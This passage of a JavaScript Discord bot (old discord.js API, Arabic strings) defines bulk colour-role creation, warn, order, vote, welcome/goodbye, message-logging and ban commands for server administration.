6601 ///////Abdellhadi
6602 if (!message.channel.guild)
6603 return message.channel.send("**This Commnad only For Servers !**");
6604 //// حقوق سيرفر كودز
6605 if (!message.member.hasPermission("ADMINISTRATOR"))
6606 return message.channel
6607 .send("**You Dont Have** `ADMINISTRATOR` **premission**")
6608 .then(msg => msg.delete(6000));
6609 message.guild.createRole({
6610 name: "1",
6611 color: "#FFB6C1", ///////Abdellhadi
6612 permissions: []
6613 });
6614 message.guild.createRole({
6615 name: "2",
6616 color: "#FFC0CB",
6617 permissions: []
6618 }); ///////Abdellhadi
6619 message.guild.createRole({
6620 name: "3",
6621 color: "#FF69B4", ///////Abdellhadi
6622 permissions: []
6623 }); ///////Abdellhadi
6624 message.guild.createRole({
6625 name: "4",
6626 color: "#FF1493", ///////Abdellhadi
6627 permissions: []
6628 });
6629 message.guild.createRole({
6630 name: "5", ///////Abdellhadi
6631 color: "#DB7093",
6632 permissions: []
6633 });
6634 message.guild.createRole({
6635 name: "6",
6636 color: "#C71585",
6637 permissions: []
6638 });
6639 message.guild.createRole({
6640 name: "7", ///////Abdellhadi
6641 color: "#E6E6FA",
6642 permissions: []
6643 });
6644 message.guild.createRole({
6645 name: "8",
6646 color: "#D8BFD8", ///////Abdellhadi
6647 permissions: []
6648 });
6649 message.guild.createRole({
6650 name: "8",
6651 color: "#DDA0DD", ///////Abdellhadi
6652 permissions: []
6653 });
6654 message.guild.createRole({
6655 name: "9",
6656 color: "#DA70D6",
6657 permissions: []
6658 });
6659 message.guild.createRole({
6660 name: "10", ///////Abdellhadi
6661 color: "#EE82EE",
6662 permissions: []
6663 });
6664 message.guild.createRole({
6665 name: "11",
6666 color: "#FF00FF", ///////Abdellhadi
6667 permissions: []
6668 });
6669 message.guild.createRole({
6670 ///////Abdellhadi
6671 name: "12",
6672 color: "#BA55D3",
6673 permissions: [] ///////Abdellhadi
6674 });
6675 message.guild.createRole({
6676 ///////Abdellhadi
6677 name: "13",
6678 color: "#9932CC",
6679 permissions: [] ///////Abdellhadi
6680 });
6681 message.guild.createRole({
6682 name: "14",
6683 color: "#9400D3", ///////Abdellhadi
6684 permissions: []
6685 });
6686 message.guild.createRole({
6687 name: "15",
6688 color: "#8A2BE2",
6689 permissions: [] ///////Abdellhadi
6690 });
6691 message.guild.createRole({
6692 name: "16", ///////Abdellhadi
6693 color: "#8B008B",
6694 permissions: []
6695 }); ///////Abdellhadi
6696 message.guild.createRole({
6697 name: "17",
6698 color: "#800080", ///////Abdellhadi
6699 permissions: []
6700 });
6701 message.guild.createRole({
6702 name: "18",
6703 color: "#9370DB",
6704 permissions: []
6705 });
6706 message.guild.createRole({
6707 name: "19", ///////Abdellhadi
6708 color: "#7B68EE",
6709 permissions: []
6710 });
6711 message.guild.createRole({
6712 name: "20",
6713 color: "#6A5ACD",
6714 permissions: []
6715 });
6716 message.guild.createRole({
6717 name: "21",
6718 color: "#483D8B",
6719 permissions: []
6720 });
6721 message.guild.createRole({
6722 name: "22",
6723 color: "#663399",
6724 permissions: []
6725 });
6726 message.guild.createRole({
6727 name: "23",
6728 color: "#4B0082",
6729 permissions: []
6730 });
6731 message.guild.createRole({
6732 name: "24",
6733 color: "#FFA07A",
6734 permissions: []
6735 });
6736 message.guild.createRole({
6737 name: "25",
6738 color: "#FA8072",
6739 permissions: []
6740 });
6741 message.guild.createRole({
6742 name: "26",
6743 color: "#E9967A",
6744 permissions: []
6745 });
6746 message.guild.createRole({
6747 name: "27",
6748 color: "#F08080",
6749 permissions: []
6750 }); ///////Abdellhadi
6751 message.guild.createRole({
6752 name: "28",
6753 color: "#CD5C5C",
6754 permissions: []
6755 });
6756 message.guild.createRole({
6757 name: "29",
6758 color: "#DC143C",
6759 permissions: []
6760 });
6761 message.guild.createRole({
6762 name: "30",
6763 color: " #FF0000",
6764 permissions: []
6765 }); ///////Abdellhadi
6766 message.guild.createRole({
6767 name: "31",
6768 color: "#B22222",
6769 permissions: []
6770 });
6771 message.guild.createRole({
6772 name: "32",
6773 color: "#8B0000",
6774 permissions: []
6775 });
6776 message.guild.createRole({
6777 name: "33",
6778 color: "#FFA500",
6779 permissions: []
6780 }); ///////Abdellhadi
6781 message.guild.createRole({
6782 name: "34",
6783 color: "#FF8C00",
6784 permissions: []
6785 });
6786 message.guild.createRole({
6787 ///////Abdellhadi
6788 name: "35",
6789 color: "#FF7F50",
6790 permissions: [] ///////Abdellhadi
6791 });
6792 message.guild.createRole({
6793 ///////Abdellhadi
6794 name: "36",
6795 color: "#FF6347", ///////Abdellhadi
6796 permissions: []
6797 });
6798 message.guild.createRole({
6799 ///////Abdellhadi
6800 name: "37",
6801 color: "#FF4500",
6802 permissions: [] ///////Abdellhadi
6803 });
6804 message.guild.createRole({
6805 name: "38", ///////Abdellhadi
6806 color: "#FFD700", ///////Abdellhadi
6807 permissions: []
6808 });
6809 message.guild.createRole({
6810 name: "39", ///////Abdellhadi
6811 color: "#FFFFE0",
6812 permissions: []
6813 });
6814 message.guild.createRole({
6815 name: "40",
6816 color: "#FFFACD", ///////Abdellhadi
6817 permissions: []
6818 });
6819 message.guild.createRole({
6820 ///////Abdellhadi
6821 name: "41",
6822 color: "#FAFAD2",
6823 permissions: []
6824 });
6825 message.guild.createRole({
6826 name: "42",
6827 color: " #FFEFD5",
6828 permissions: []
6829 });
6830 message.guild.createRole({
6831 name: "43",
6832 color: "#FFE4B5",
6833 permissions: []
6834 });
6835 message.guild.createRole({
6836 name: "44",
6837 color: "#FFDAB9",
6838 permissions: []
6839 });
6840 message.guild.createRole({
6841 name: "45",
6842 color: "#EEE8AA",
6843 permissions: []
6844 });
6845 message.guild.createRole({
6846 name: "46",
6847 color: "#F0E68C",
6848 permissions: []
6849 });
6850 message.guild.createRole({
6851 name: "47",
6852 color: "#BDB76B",
6853 permissions: []
6854 });
6855 message.guild.createRole({
6856 name: "48",
6857 color: "#ADFF2F",
6858 permissions: []
6859 });
6860 message.guild.createRole({
6861 name: "49",
6862 color: "#7FFF00",
6863 permissions: []
6864 });
6865 message.guild.createRole({
6866 name: "50",
6867 color: "#7CFC00",
6868 permissions: []
6869 });
6870 message.guild.createRole({
6871 name: "51",
6872 color: "#00FF00",
6873 permissions: []
6874 });
6875
6876 message.guild.createRole({
6877 name: "52",
6878 color: "#32CD32",
6879 permissions: []
6880 });
6881 message.guild.createRole({
6882 name: "53",
6883 color: "#98FB98",
6884 permissions: []
6885 });
6886 message.guild.createRole({
6887 name: "54",
6888 color: "#90EE90",
6889 permissions: []
6890 });
6891 message.guild.createRole({
6892 name: "55",
6893 color: "#00FA9A",
6894 permissions: []
6895 });
6896 message.guild.createRole({
6897 name: "56",
6898 color: "#00FF7F",
6899 permissions: []
6900 });
6901 message.guild.createRole({
6902 name: "57",
6903 color: "#3CB371",
6904 permissions: []
6905 });
6906 message.guild.createRole({
6907 name: "58",
6908 color: "#2E8B57",
6909 permissions: []
6910 });
6911 message.guild.createRole({
6912 name: "59",
6913 color: "#2E8B57",
6914 permissions: []
6915 });
6916 message.guild.createRole({
6917 name: "60",
6918 color: "#008000",
6919 permissions: []
6920 });
6921 message.guild.createRole({
6922 name: "61",
6923 color: "#006400",
6924 permissions: []
6925 });
6926 message.guild.createRole({
6927 name: "62",
6928 color: "#9ACD32",
6929 permissions: []
6930 });
6931 message.guild.createRole({
6932 name: "63",
6933 color: "#6B8E23",
6934 permissions: []
6935 });
6936 message.guild.createRole({
6937 name: "64",
6938 color: "#556B2F",
6939 permissions: []
6940 });
6941 message.guild.createRole({
6942 name: "65",
6943 color: "#66CDAA",
6944 permissions: []
6945 });
6946 message.guild.createRole({
6947 name: "66",
6948 color: "#8FBC8F",
6949 permissions: []
6950 });
6951 message.guild.createRole({
6952 name: "67",
6953 color: "#20B2AA",
6954 permissions: []
6955 });
6956 message.guild.createRole({
6957 name: "68",
6958 color: "#008B8B",
6959 permissions: []
6960 });
6961 message.guild.createRole({
6962 name: "69",
6963 color: "#008080",
6964 permissions: []
6965 });
6966 message.guild.createRole({
6967 name: "70",
6968 color: "#00FFFF",
6969 permissions: []
6970 });
6971 message.guild.createRole({
6972 name: "71",
6973 color: "#E0FFFF",
6974 permissions: []
6975 });
6976 message.guild.createRole({
6977 name: "72",
6978 color: "#AFEEEE",
6979 permissions: []
6980 });
6981 message.guild.createRole({
6982 name: "73",
6983 color: "#7FFFD4",
6984 permissions: []
6985 });
6986 message.guild.createRole({
6987 name: "74",
6988 color: "#40E0D0",
6989 permissions: []
6990 });
6991 message.guild.createRole({
6992 name: "75",
6993 color: "#48D1CC",
6994 permissions: []
6995 });
6996 message.guild.createRole({
6997 name: "76",
6998 color: "#00CED1",
6999 permissions: []
7000 });
7001 message.guild.createRole({
7002 name: "77",
7003 color: "#5F9EA0",
7004 permissions: []
7005 });
7006 message.guild.createRole({
7007 name: "78",
7008 color: "#4682B4",
7009 permissions: []
7010 });
7011 message.guild.createRole({
7012 name: "79",
7013 color: "#B0C4DE",
7014 permissions: []
7015 });
7016 message.guild.createRole({
7017 name: "80",
7018 color: "#ADD8E6",
7019 permissions: []
7020 });
7021 message.guild.createRole({
7022 name: "81",
7023 color: "#B0E0E6",
7024 permissions: []
7025 });
7026 message.guild.createRole({
7027 name: "82",
7028 color: "#87CEFA",
7029 permissions: []
7030 });
7031 message.guild.createRole({
7032 name: "83",
7033 color: "#87CEEB",
7034 permissions: []
7035 });
7036 message.guild.createRole({
7037 name: "84",
7038 color: "#6495ED",
7039 permissions: []
7040 });
7041 message.guild.createRole({
7042 name: "85",
7043 color: "#00BFFF",
7044 permissions: []
7045 });
7046 message.guild.createRole({
7047 name: "86",
7048 color: "#1E90FF",
7049 permissions: []
7050 });
7051 message.guild.createRole({
7052 name: "87",
7053 color: "#4169E1",
7054 permissions: []
7055 });
7056 message.guild.createRole({
7057 name: "88",
7058 color: "#0000FF",
7059 permissions: []
7060 });
7061 message.guild.createRole({
7062 name: "89",
7063 color: "#0000CD",
7064 permissions: []
7065 });
7066 message.guild.createRole({
7067 name: "90",
7068 color: "#00008B",
7069 permissions: []
7070 });
7071 message.guild.createRole({
7072 name: "91",
7073 color: "#000080",
7074 permissions: []
7075 });
7076 message.guild.createRole({
7077 name: "92",
7078 color: "#191970",
7079 permissions: []
7080 });
7081 message.guild.createRole({
7082 name: "93",
7083 color: "#FFF8DC",
7084 permissions: []
7085 });
7086 message.guild.createRole({
7087 name: "94",
7088 color: "#FFEBCD",
7089 permissions: []
7090 });
7091 message.guild.createRole({
7092 name: "95",
7093 color: "#FFE4C4",
7094 permissions: []
7095 });
7096 message.guild.createRole({
7097 name: "96",
7098 color: "#FFDEAD",
7099 permissions: []
7100 });
7101 message.guild.createRole({
7102 name: "97",
7103 color: "#F5DEB3",
7104 permissions: []
7105 });
7106 message.guild.createRole({
7107 name: "98",
7108 color: "#DEB887",
7109 permissions: []
7110 });
7111 message.guild.createRole({
7112 name: "99",
7113 color: "#D2B48C",
7114 permissions: []
7115 });
7116 message.guild.createRole({
7117 name: "100",
7118 color: "#BC8F8F",
7119 permissions: []
7120 });
7121 message.guild.createRole({
7122 name: "101",
7123 color: "#F4A460",
7124 permissions: []
7125 });
7126 message.guild.createRole({
7127 name: "102",
7128 color: "#DAA520",
7129 permissions: []
7130 });
7131 message.guild.createRole({
7132 name: "103",
7133 color: "#B8860B",
7134 permissions: []
7135 });
7136 message.guild.createRole({
7137 name: "104",
7138 color: "#CD853F",
7139 permissions: []
7140 });
7141 message.guild.createRole({
7142 name: "105",
7143 color: "#D2691E",
7144 permissions: []
7145 });
7146 message.guild.createRole({
7147 name: "106",
7148 color: "#808000",
7149 permissions: []
7150 });
7151 message.guild.createRole({
7152 name: "107",
7153 color: "#8B4513",
7154 permissions: []
7155 });
7156 message.guild.createRole({
7157 name: "108",
7158 color: "#A0522D",
7159 permissions: []
7160 });
7161 message.guild.createRole({
7162 name: "109",
7163 color: "#A52A2A",
7164 permissions: []
7165 });
7166 message.guild.createRole({
7167 name: "110",
7168 color: "#800000",
7169 permissions: []
7170 });
7171 message.guild.createRole({
7172 name: "111",
7173 color: "#FFFFFF",
7174 permissions: []
7175 });
7176 message.guild.createRole({
7177 name: "112",
7178 color: "#FFFAFA",
7179 permissions: []
7180 });
7181 message.guild.createRole({
7182 name: "113",
7183 color: "#F0FFF0",
7184 permissions: []
7185 });
7186 message.guild.createRole({
7187 name: "114",
7188 color: "#F5FFFA",
7189 permissions: []
7190 });
7191 message.guild.createRole({
7192 name: "115",
7193 color: "#F0FFFF",
7194 permissions: []
7195 });
7196 message.guild.createRole({
7197 name: "116",
7198 color: "#F0F8FF",
7199 permissions: []
7200 });
7201 message.guild.createRole({
7202 name: "117",
7203 color: "#F8F8FF",
7204 permissions: []
7205 });
7206 message.guild.createRole({
7207 name: "118",
7208 color: "#F5F5F5",
7209 permissions: []
7210 });
7211 message.guild.createRole({
7212 name: "119",
7213 color: "#FFF5EE",
7214 permissions: []
7215 });
7216 message.guild.createRole({
7217 name: "120",
7218 color: "#F5F5DC",
7219 permissions: []
7220 });
7221 message.guild.createRole({
7222 name: "121",
7223 color: "#FDF5E6",
7224 permissions: []
7225 });
7226 message.guild.createRole({
7227 name: "122",
7228 color: "#FFFAF0",
7229 permissions: []
7230 });
7231 message.guild.createRole({
7232 name: "123",
7233 color: "#FFFFF0",
7234 permissions: []
7235 });
7236 message.guild.createRole({
7237 name: "124",
7238 color: "#FAEBD7",
7239 permissions: []
7240 });
7241 message.guild.createRole({
7242 name: "125",
7243 color: "#FAF0E6",
7244 permissions: []
7245 });
7246 message.guild.createRole({
7247 name: "126",
7248 color: "#FFF0F5",
7249 permissions: []
7250 });
7251 message.guild.createRole({
7252 name: "127",
7253 color: "#FFE4E1",
7254 permissions: []
7255 });
7256 message.guild.createRole({
7257 name: "128",
7258 color: "#DCDCDC",
7259 permissions: []
7260 });
7261 message.guild.createRole({
7262 name: "129",
7263 color: "#D3D3D3",
7264 permissions: []
7265 });
7266 message.guild.createRole({
7267 name: "130",
7268 color: "#C0C0C0",
7269 permissions: []
7270 });
7271 message.guild.createRole({
7272 name: "131",
7273 color: "#A9A9A9",
7274 permissions: []
7275 });
7276 message.guild.createRole({
7277 name: "132",
7278 color: "#696969",
7279 permissions: []
7280 });
7281 message.guild.createRole({
7282 name: "133",
7283 color: "#808080",
7284 permissions: []
7285 });
7286 message.guild.createRole({
7287 name: "134",
7288 color: "#778899",
7289 permissions: []
7290 });
7291 message.guild.createRole({
7292 name: "135",
7293 color: "#708090",
7294 permissions: []
7295 });
7296 message.guild.createRole({
7297 name: "136",
7298 color: "#2F4F4F",
7299 permissions: []
7300 });
7301 message.guild.createRole({
7302 name: "137",
7303 color: "#000000",
7304 permissions: []
7305 });
7306
7307 message.channel.sendMessage({
7308 embed: new Discord.RichEmbed()
7309 .setColor("RANDOM")
7310 .setAuthor(`${message.author.username}'`, message.author.avatarURL)
7311 .setDescription("``الالوان قيد الانشاء ....``")
7312 });
7313 }
7314});
7315
7316//
7317
7318client.on("message", msg => {
7319 //Narox Dev
7320 if (msg.author.bot) return;
7321 if (msg.channel.type === "dm") return;
7322 let prefix = "$"; //البرفكس
7323 let msgarray = msg.content.split(" ");
7324 let cmd = msgarray[0];
7325 let args = msgarray.slice(1);
7326 if (cmd === `${prefix}warn`) {
7327 //الامر
7328
7329 if (!msg.member.hasPermission("ADMINISTRATOR"))
7330 return msg.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
7331 let rUser = msg.guild.member(
7332 msg.mentions.users.first() || msg.guild.members.get(args[0])
7333 );
7334 if (!rUser) return msg.channel.send("Couldn't find users.");
7335 let reason = args.join(" ").slice(22);
7336
7337 let reportembed = new Discord.RichEmbed()
7338 .setDescription("Warn")
7339 .setColor("BLACK")
7340 .addField("Warn User", `${rUser} with ID: ${rUser.id}`)
7341 .addField("Warn By", `${msg.author} with ID: ${msg.author.id}`)
7342 .addField("Channel", msg.channel)
7343 .addField("Time", msg.createdAt)
7344 .addField("Reason", `${reason}`);
7345
7346 let reportchannel = msg.guild.channels.find(`name`, "warn-log");
7347 if (!reportchannel)
7348 return msg.channel.send("Couldn't find `تحذيرات` channel");
7349
7350 msg.delete().catch(O_o => {});
7351 reportchannel.send(reportembed);
7352 let role = msg.guild.roles.find(`name`, "warn");
7353 if (!role) return msg.guild.channel.send("Could't find `warn` role.");
7354 rUser.addRole(role);
7355
7356 return;
7357 }
7358});
7359
7360//
7361
7362client.on("message", async message => {
7363 if (message.content.startsWith(prefix + "order")) {
7364 if (!message.guild.roles.find("name", "order")) return;
7365 await message.channel.send(`اكتب طلبك الان`);
7366 let filter = m => m.author.id === message.author.id;
7367 var text = "";
7368 let sugsa = message.channel
7369 .awaitMessages(filter, { max: 1, time: 60000 })
7370 .then(co => {
7371 text = co.first().content;
7372 message.channel.send("تم الارسال");
7373 message.guild.channels
7374 .find("name", "طلبات")
7375 .send(`${message.author.username}'s order => ${text}`);
7376 });
7377 }
7378});
7379
7380client.on("message", message => {
7381 if (!message.guild.roles.exists("name", "vote")) return;
7382 if (message.channel.name === "تصويت") {
7383 message.react("☑").then(() => {
7384 message.react("?");
7385 });
7386 }
7387});
7388
7389client.on("guildMemberAdd", member => {
7390 let channel = member.guild.channels.find("name", "ترحيب");
7391 let role = member.guild.roles.find("name", "welcome");
7392 let memberavatar = member.user.avatarURL;
7393 if (!role) return;
7394 if (!channel) return;
7395 let embed = new Discord.RichEmbed()
7396 .setColor("RANDOM")
7397 .setThumbnail(memberavatar)
7398 .addField(":running_shirt_with_sash: | name : ", `${member}`)
7399 .addField(
7400 ":loudspeaker: | نورت السيرفر يا قلبي",
7401 `Welcome to the server, ${member}`
7402 )
7403 .addField(":id: | user :", "**[" + `${member.id}` + "]**")
7404 .addField("➡| انت العضو رقم", `${member.guild.memberCount}`)
7405
7406 .addField("Name:", `<@` + `${member.id}` + `>`, true)
7407
7408 .addField(" الـسيرفر", `${member.guild.name}`, true)
7409
7410 .setFooter(`${member.guild.name}`)
7411 .setTimestamp();
7412
7413 channel.sendEmbed(embed);
7414});
7415
7416client.on("guildMemberRemove", member => {
7417 var embed = new Discord.RichEmbed()
7418 .setAuthor(member.user.username, member.user.avatarURL)
7419 .setThumbnail(member.user.avatarURL)
7420 .setTitle(`الله معاك :raised_hand::skin-tone-1: :pensive:`)
7421 .setDescription(
7422 `مع السلامه تشرفنا بك :raised_hand::skin-tone-1: :pensive: `
7423 )
7424 .addField(
7425 ":bust_in_silhouette: تبقي",
7426 `**[ ${member.guild.memberCount} ]**`,
7427 true
7428 )
7429 .setColor("RED")
7430 .setFooter(
7431 `==== نــتــمــنــآ لــكــم آســتــمـــتــآع ====`,
7432 "https://cdn.discordapp.com/attachments/397818254439219217/399292026782351381/shy.png"
7433 );
7434
7435 var channel = member.guild.channels.find("name", "وداعا");
7436 var role = member.guild.roles.find("name", "goodbye");
7437 if (!role) return;
7438 if (!channel) return;
7439 channel.send({ embed: embed });
7440});
7441//
7442
7443client.on("message", msg => {
7444 //Narox Dev
7445 if (msg.author.bot) return;
7446 if (msg.channel.type === "dm") return;
7447 let prefix = "$"; //البرفكس
7448 let msgarray = msg.content.split(" ");
7449 let cmd = msgarray[0];
7450 let args = msgarray.slice(1);
7451 if (cmd === `${prefix}تحذير`) {
7452 //الامر
7453
7454 if (!msg.member.hasPermission("ADMINISTRATOR"))
7455 return msg.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
7456 let rUser = msg.guild.member(
7457 msg.mentions.users.first() || msg.guild.members.get(args[0])
7458 );
7459 if (!rUser) return msg.channel.send("Couldn't find users.");
7460 let reason = args.join(" ").slice(22);
7461
7462 let reportembed = new Discord.RichEmbed()
7463 .setDescription("تحذير!")
7464 .setColor("BLACK")
7465 .addField("الشخص الذي حصل على تحذير", `${rUser} with ID: ${rUser.id}`)
7466 .addField("بواسطة", `${msg.author} with ID: ${msg.author.id}`)
7467 .addField("الروم", msg.channel)
7468 .addField("الوقت", msg.createdAt)
7469 .addField("السبب", `${reason}`);
7470
7471 let reportchannel = msg.guild.channels.find(`name`, "تحذيرات");
7472
7473 if (!reportchannel)
7474 return msg.channel.send("Couldn't find `warn-log` channel.");
7475
7476 msg.delete().catch(O_o => {});
7477 reportchannel.send(reportembed);
7478 let role = msg.guild.roles.find(`name`, "warn");
7479 if (!role) return msg.guild.channel.send("Could't find `warn` role.");
7480 rUser.addRole(role);
7481
7482 return;
7483 }
7484});
7485//
7486
7487client.on("message", message => {
7488 if (message.content.startsWith(prefix + "chro")) {
7489 message.delete(5000);
7490 if (!message.channel.guild) return;
7491 const e = new Discord.RichEmbed()
7492 .setColor("#FFDF02")
7493 .setDescription(`**تم الارسال في الخاص**?`);
7494 const embed = new Discord.RichEmbed()
7495 .setColor("#FFDF02")
7496 .setTitle("رومات ورولات الازمة للبوت")
7497 .setURL("").setDescription(`
7498
7499${prefix}setmsg =====> روم معلومات اي رسالة تنرسل في سيرفر
7500
7501
7502الاوتو رول
7503يجب صنع رتبة باسم
7504
7505member_lx
7506الاوتو كلير المسح التلقائي
7507
7508لتفعيل
7509
7510اصنع رول باسم
7511
7512autoclear100
7513
7514الرجاء الانتباه لا امرين مهمين
7515
7516البوت لا يقوم بحذف الرسائل التي تقل عن 14 يوم
7517
7518الامر تجريبي الرجاء تشغيله عند الحاجة فقط
7519
7520
7521
7522لتفعيل ميزة مسح كل الرسائل في الشات
7523
7524اصنع رول باسم
7525
7526
7527
7528clearall
7529وبعدها
7530
7531
7532
7533اكتب اي جملة في الشات للتاكيد وسوف يتم حذف الرسائل التي يقل عمرها عن 14 يوما
7534
7535
7536order
7537او
7538طلبات
7539روم الطلبات
7540
7541يجب صنع رول باسم order لتفعيل
7542
7543${prefix}order =====> لطلب
7544
7545روم الوج
7546
7547${prefix}setlog =====> لا انشاء روم الوق
7548
7549
7550
7551روم التصويتات الادمنيه
7552
7553vote
7554او تصويت
7555يجب صنع رول باسم vote لتفعيل
7556
7557يعمل في مجرد وضع اي كلمة في الروم يقوم البوت في وضع رياكشن عليها
7558
7559روم التحذيرات الادمنيه
7560
7561يجب صنع رتبة باسم warn و روم باسم warn-log
7562
7563
7564${prefix}warn @user =====> لا اعطاء تحذير
7565
7566روم تحذيرات الادمنية العربية
7567
7568يجب صنع روم باسم تحذيرات و رول باسم warn
7569هذه الامى للسيرفىات التي تستخدم الغة العربية
7570
7571${prefix}تحذير @user =====> تحذير
7572welcome
7573او
7574ترحيب
7575روم الترحيب
7576
7577يجب صنع رول باسم welcome لتفعيل
7578
7579goodbye
7580او
7581وداعا
7582
7583روم التوديع
7584
7585يجب صنع رول باسم goodbye لتفعيل
7586
7587لدخول سيرفر السبورت
7588
7589
7590https://discord.gg/JfKzBV2
7591`);
7592 message.channel.send(e).then(m => m.delete(5000));
7593 message.author
7594 .sendEmbed(embed)
7595 .catch(error => message.reply("**خاصك مقفول**?"));
7596 }
7597});
7598
7599//
7600
7601client.on("message", message => {
7602 if (message.content.startsWith(prefix + "hero")) {
7603 const image = new Discord.Attachment(
7604 `https://cdn.discordapp.com/avatars/513707147213799436/bb8c86216ddec3f3e9846ad5c1cbce67`,
7605 ".png"
7606 );
7607
7608 const embed = new Discord.RichEmbed()
7609
7610 .setURL(
7611 `https://cdn.discordapp.com/avatars/513707147213799436/bb8c86216ddec3f3e9846ad5c1cbce67.png?size=2048`
7612 )
7613 .setImage(
7614 `https://cdn.discordapp.com/avatars/513707147213799436/bb8c86216ddec3f3e9846ad5c1cbce67.png?size=2048`
7615 )
7616 .setTitle("Top support in server")
7617
7618 .setURL("")
7619 .setDescription(
7620 `
7621**الاسم**
7622
7623محمد
7624
7625**الاسم المستعار**
7626
7627<@513707147213799436>
7628
7629**العمر**
7630
763114
7632
7633**سبب جعله من افضل السبورت**
7634
7635دهائه وتفكيره السريع واخلاصه واهتمامه في البوت
7636`
7637 )
7638
7639 .setColor("RANDOM");
7640 message.channel.send(embed);
7641
7642 const em = new Discord.RichEmbed()
7643
7644 .setURL(
7645 `https://cdn.discordapp.com/avatars/555069040813670442/e336445460a4757d616658f278ebbc96.png?size=2048`
7646 )
7647 .setImage(
7648 `https://cdn.discordapp.com/avatars/555069040813670442/e336445460a4757d616658f278ebbc96.png?size=2048`
7649 )
7650 .setTitle("Top support in server")
7651
7652 .setURL("")
7653 .setDescription(
7654 `
7655**الاسم**
7656
7657عبد الله
7658
7659**الاسم المستعار**
7660
7661<@555069040813670442>
7662
7663**العمر**
7664
766514
7666
7667**سبب جعله من افضل السبورت**
7668
7669
7670نشره للبوت بشكل هائل بين الناس اخلاصه وثقته وتفاعله
7671`
7672 )
7673 .setColor("RANDOM");
7674 message.channel.send(em);
7675 }
7676});
7677
7678//
7679
7680client.on("message", message => {
7681 if (!message.guild) return;
7682
7683 if (message.author.id == client.user.id) return;
7684 var log = message.guild.channels.find(c => c.name === "msg-log");
7685 if (!log) return;
7686 if (message == "") return;
7687 let olog = new Discord.RichEmbed()
7688 .setDescription("رسالة")
7689 .setColor("BLACK")
7690 .addField("الرسالة", `${message}`)
7691 .addField("بواسطة", `${message.author} with ID: ${message.author.id}`)
7692 .addField("الروم", message.channel)
7693 .addField("الوقت", message.createdAt);
7694
7695 log.send(olog);
7696});
7697
7698client.on("message", message => {
7699 ///n3k4a is one
7700 if (message.content.startsWith("$setmsg")) {
7701 if (!message.channel.guild) return; ///n3k4a is one
7702 if (message.author.bot) return;
7703 if (!message.member.hasPermission("MANAGE_CHANNELS"))
7704 return message.reply("**تحتاج الى `MANAGE_CHANNELS`**");
7705 message.guild.createChannel("msg-log", "text").then(c => {
7706 c.overwritePermissions(message.guild.id, {
7707 ///n3k4a is one
7708 SEND_MESSAGES: false,
7709 READ_MESSAGES: false
7710 }); ///n3k4a is one
7711 });
7712 message.channel.send("**✅ تم انشاء روم معلومات الرسائل بنجاح**"); ///n3k4a is one
7713 }
7714});
7715client.on("messageDelete", message => {
7716 if (message.author.bot) return;
7717 if (message.channel.type === "dm") return;
7718 if (!message.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
7719 if (!message.guild.member(client.user).hasPermission("MANAGE_MESSAGES"))
7720 return;
7721
7722 var logChannel = message.guild.channels.find(c => c.name === "msg-log");
7723 if (!logChannel) return;
7724
7725 let messageDelete = new Discord.RichEmbed()
7726 .setTitle("**[MESSAGE DELETE]**")
7727 .setColor("RED")
7728 .setThumbnail(message.author.avatarURL)
7729 .setDescription(
7730 `**\n**:wastebasket: Successfully \`\`DELETE\`\` **MESSAGE** In ${message.channel}\n\n**Channel:** \`\`${message.channel.name}\`\` (ID: ${message.channel.id})\n**Message ID:** ${message.id}\n**Sent By:** <@${message.author.id}> (ID: ${message.author.id})\n**Message:**\n\`\`\`${message}\`\`\``
7731 )
7732 .setTimestamp()
7733 .setFooter(message.guild.name, message.guild.iconURL);
7734
7735 logChannel.send(messageDelete);
7736});
7737client.on("messageUpdate", (oldMessage, newMessage) => {
7738 if (oldMessage.author.bot) return;
7739 if (!oldMessage.channel.type === "dm") return;
7740 if (!oldMessage.guild.member(client.user).hasPermission("EMBED_LINKS"))
7741 return;
7742 if (!oldMessage.guild.member(client.user).hasPermission("MANAGE_MESSAGES"))
7743 return;
7744
7745 var logChannel = oldMessage.guild.channels.find(c => c.name === "msg-log");
7746 if (!logChannel) return;
7747
7748 if (oldMessage.content.startsWith("https://")) return;
7749
7750 let messageUpdate = new Discord.RichEmbed()
7751 .setTitle("**[MESSAGE EDIT]**")
7752 .setThumbnail(oldMessage.author.avatarURL)
7753 .setColor("BLUE")
7754 .setDescription(
7755 `**\n**:wrench: Successfully \`\`EDIT\`\` **MESSAGE** In ${oldMessage.channel}\n\n**Channel:** \`\`${oldMessage.channel.name}\`\` (ID: ${oldMessage.channel.id})\n**Message ID:** ${oldMessage.id}\n**Sent By:** <@${oldMessage.author.id}> (ID: ${oldMessage.author.id})\n\n**Old Message:**\`\`\`${oldMessage}\`\`\`\n**New Message:**\`\`\`${newMessage}\`\`\``
7756 )
7757 .setTimestamp()
7758 .setFooter(oldMessage.guild.name, oldMessage.guild.iconURL);
7759
7760 logChannel.send(messageUpdate);
7761});
7762
7763client.on("message", message => {
7764 if (!message.guild.roles.exists("name", "vote")) return;
7765 if (message.channel.name === "vote") {
7766 message.react("☑").then(() => {
7767 message.react("?");
7768 });
7769 }
7770});
7771client.on('message', async message => {
7772if(message.content.startsWith(prefix + "Owner")) {
7773 let i = client.users.size;
7774 if(message.author.id !== '596507272751087636') return message.channel.send('❎ » انت لست صاحب البوت');
7775 message.channel.send("**انت صاحب البوت تم الاثبات**")
7776}
7777})
7778
7779
7780
7781client.on('message', message => {
7782 var prefix = "$"
7783 if (message.author.x5bz) return;
7784 if (!message.content.startsWith(prefix)) return;
7785
7786 let command = message.content.split(" ")[0];
7787 command = command.slice(prefix.length);
7788
7789 let args = message.content.split(" ").slice(1);
7790
7791 if (command == "ban") {
7792 if(!message.channel.guild) return message.reply('** This command only for servers**');
7793
7794 if(!message.guild.member(message.author).hasPermission("BAN_MEMBERS")) return message.reply("**You Don't Have ` BAN_MEMBERS ` Permission**");
7795 if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
7796 let user = message.mentions.users.first();
7797 let reason = message.content.split(" ").slice(2).join(" ");
7798 /*let b5bzlog = client.channels.find("name", "5bz-log");
7799 if(!b5bzlog) return message.reply("I've detected that this server doesn't have a 5bz-log text channel.");*/
7800 if (message.mentions.users.size < 1) return message.reply("**منشن شخص**");
7801 if(!reason) return message.reply ("**اكتب سبب الطرد**");
7802 if (!message.guild.member(user)
7803 .bannable) return message.reply("**لايمكنني طرد شخص اعلى من رتبتي يرجه اعطاء البوت رتبه عالي**");
7804
